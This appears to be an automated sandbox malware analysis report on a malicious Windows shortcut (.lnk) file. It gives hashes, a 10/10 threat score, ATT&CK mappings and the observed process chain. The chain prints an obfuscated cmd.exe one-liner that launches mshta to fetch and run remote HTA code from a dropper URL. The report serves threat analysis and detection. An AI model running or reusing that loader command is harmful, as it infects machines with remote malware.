dcdf16634f46ee4fa495ba02df0da17864f3fde7329c8e0c6f163d3076b20b7b

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:47

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General

Target
LeXNET-DOC-8SMI9B.lnk
Size 1KB
Sample260803-q3yrcaae78
SHA256 dcdf16634f46ee4fa495ba02df0da17864f3fde7329c8e0c6f163d3076b20b7b
MD5 776af89860d7c634f86650e086b7f0e5
SHA1 028a2de0123d56169c842322f8d7f40fbf1e7a7f
SHA512 1453f76ff37f807482e4a7730f6798c3289a6e0606d0892306eb1647780b8f114b9095b219021749c49d76e6bee7bbe942cf04b4207c4a1a47df41bcbd8779f0
TLSH
T12F3147503EFD0AA4F3F7DFB684BB5B1089BAB8568D10C61D4140854C5472A01E67BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3336	mshta.exe
5	3336	mshta.exe
6	3336	mshta.exe
7	3336	mshta.exe
11	3336	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
8	cmd.exe
3924	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 3924	8	cmd.exe	90
PID 3924 wrote to memory of 3336	3924	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\LeXNET-DOC-8SMI9B.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:8
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set znS=msh&&set FZtd=ta&&start "" !znS!!FZtd! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\System32\mshta.exe
    mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    - Badlisted process makes network request
    PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads